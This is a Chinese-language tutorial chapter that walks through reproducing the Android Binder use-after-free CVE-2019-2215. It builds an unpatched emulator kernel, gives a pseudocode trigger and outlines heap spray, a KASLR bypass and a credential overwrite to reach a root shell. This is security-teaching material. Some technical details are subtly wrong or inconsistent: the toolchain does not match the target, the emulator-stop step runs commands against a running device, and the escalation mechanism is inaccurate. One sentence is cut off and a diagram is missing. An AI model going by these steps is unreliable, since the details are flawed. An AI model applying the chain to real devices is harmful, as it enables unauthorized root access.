29、Binder漏洞实战演练:搭建漏洞复现环境、编译自定义内核、触发漏洞与获取Root权限
好,到了这一讲,咱们终于要动手了。
前面聊了那么多Binder的架构、漏洞原理、利用手法,说实话,光看理论容易犯困。我个人习惯是,学安全一定要亲手把漏洞打一遍,不然你永远不知道那些细节到底卡在哪里。
这一章,我们就来一次完整的实战。从零搭建一个可以复现Binder漏洞的环境,编译一个带漏洞的自定义内核,然后触发漏洞,最后拿到Root权限。整个过程我会尽量还原我在真实项目中的操作流程,包括那些踩过的坑。
29.1 环境准备:你需要什么?
先说说硬件和软件。你不需要一台真机,用模拟器就行。但注意,不是随便一个模拟器都能用。
| 组件 | 推荐版本 | 备注 |
|---|---|---|
| 宿主机OS | Ubuntu 20.04 / 22.04 | 我习惯用22.04,编译内核更稳 |
| Android模拟器 | Android 9 (API 28) x86_64 | 内核版本4.9,Binder漏洞高发区 |
| 内核源码 | goldfish 4.9 | 模拟器专用内核分支 |
| 交叉编译工具链 | aarch64-linux-android-4.9 | Google官方预编译版 |
| 漏洞靶标 | CVE-2019-2215 | Binder UAF漏洞,经典案例 |
嗯,这里要注意。CVE-2019-2215是一个Binder驱动的use-after-free漏洞,影响Android 8.0到9.0的内核。我选它是因为利用链清晰,而且网上有现成的PoC,适合教学。
29.2 搭建漏洞复现环境
第一步,创建模拟器。我个人建议用命令行创建,不要用Android Studio的图形界面,因为我们需要指定内核镜像。
# 创建AVD
avdmanager create avd -n binder_vuln -k "system-images;android-28;google_apis;x86_64"
# 启动模拟器,先不指定内核
emulator -avd binder_vuln -no-window -no-audio &
等模拟器启动后,我们看看它默认的内核版本:
adb shell uname -a
# 输出类似:Linux localhost 4.9.148-g984b1c8...
好,现在我们要替换这个内核。为什么?因为默认内核已经打了补丁,漏洞被修了。我们需要编译一个带漏洞的内核。
29.3 编译自定义内核(带漏洞版本)
下载goldfish内核源码,切到4.9分支:
git clone https://android.googlesource.com/kernel/goldfish
cd goldfish
git checkout origin/android-goldfish-4.9
然后,我们需要找到Binder驱动的源码文件。在 drivers/android/binder.c 里。CVE-2019-2215的漏洞点位于 binder_thread_release 函数中,具体是 binder_free_thread 调用后,没有把指针置空,导致后续还能通过 epoll 回调访问已释放的内存。
我当年第一次看这个漏洞时,也觉得奇怪——为什么这么明显的UAF能活到发布?后来想想,Binder的代码太复杂了,review的人可能漏掉了这个竞态条件。
编译内核前,先配置:
# 使用模拟器的默认配置
make ARCH=x86_64 x86_64_emu_defconfig
# 手动确认Binder相关选项已开启
grep BINDER .config
# 应该看到 CONFIG_ANDROID_BINDER_IPC=y
然后编译:
make ARCH=x86_64 CROSS_COMPILE= -j8
编译完成后,会生成 arch/x86_64/boot/bzImage。这就是我们要替换的内核镜像。
29.4 替换内核并验证
把编译好的内核推送到模拟器:
# 停止模拟器
adb root
adb remount
# 替换内核
adb push bzImage /data/local/tmp/
# 重启模拟器,指定新内核
emulator -avd binder_vuln -kernel /path/to/bzImage -no-window -no-audio &
等模拟器重启后,再次检查内核版本:
adb shell uname -a
# 应该看到你编译的时间戳
嗯,这里有个坑。有时候替换内核后模拟器起不来,多半是内核配置和模拟器硬件不匹配。我曾经卡在这个问题上整整一天,后来发现是忘了开启 CONFIG_ANDROID_BINDER_IPC 的某些依赖项。
29.5 触发漏洞:从PoC到Root
现在环境准备好了,我们来触发漏洞。CVE-2019-2215的利用思路是:通过Binder的 BINDER_THREAD_EXIT 命令释放线程结构体,然后通过 epoll 的 EPOLL_CTL_DEL 操作在释放后访问它,造成UAF。
PoC代码的核心逻辑如下:
// 伪代码,展示关键步骤
int fd = open("/dev/binder", O_RDWR);
int epfd = epoll_create(1);
// 1. 注册epoll事件
struct epoll_event ev = {.events = EPOLLIN, .data.fd = fd};
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &ev);
// 2. 触发BINDER_THREAD_EXIT
ioctl(fd, BINDER_THREAD_EXIT, NULL);
// 3. 此时binder_thread已被释放,但epoll还在监听
// 4. 通过epoll_wait触发对已释放内存的访问
struct epoll_event events[1];
epoll_wait(epfd, events, 1, -1);
你想想看,这个漏洞的精妙之处在于:BINDER_THREAD_EXIT 释放了 binder_thread,但 epoll 的回调函数 binder_poll 还在引用这个结构体。如果我们在释放后迅速分配一块同样大小的内存(比如通过 sendmsg 系统调用),就能控制已释放的 binder_thread 结构体,进而劫持内核执行流。
完整的利用链需要做堆喷、绕过KASLR、提权。这里我给出一个简化的步骤:
- 堆喷:通过
sendmsg分配大量与binder_thread大小相同的内存块,覆盖UAF区域。 - 控制结构体:在
binder_thread的proc指针处写入我们伪造的地址。 - 触发回调:通过
epoll_wait触发binder_poll,它会解引用我们控制的proc指针。 - 提权:在伪造的
proc结构体中,修改cred指针,将当前进程的UID改为0。
CONFIG_SLUB_DEBUG,这样能更清楚地看到内存分配情况。
29.6 获取Root权限
如果一切顺利,执行PoC后,你会看到:
# 在模拟器中运行PoC
adb shell /data/local/tmp/poc
# 如果成功,你会获得root shell
# id
uid=0(root) gid=0(root) groups=0(root)
嗯,说实话,第一次成功时我还是挺兴奋的。虽然这个漏洞已经公开好几年了,但亲手把它跑通,那种感觉不一样。
不过我也要提醒你,实战中可能会遇到各种问题。比如堆喷失败、KASLR绕过不成功、内核崩溃重启等等。我曾经在调试一个类似的Binder漏洞时,连续崩溃了20多次模拟器,最后发现是堆喷的大小算错了——少了一个字节的对齐。
29.7 知识体系总结
这一章的内容比较多,我画了一张图帮你梳理整个流程:
这张图把整个实战流程分成了五个阶段。从环境搭建到最终提权,每一步都有对应的技术细节。我个人建议你按照这个顺序来操作,不要跳步。尤其是编译内核那一步,很多人图省事直接用预编译镜像,结果后面出问题了都不知道怎么排查。
好了,这一章的内容就到这里。动手试试吧,遇到问题很正常,多调试几次就熟了。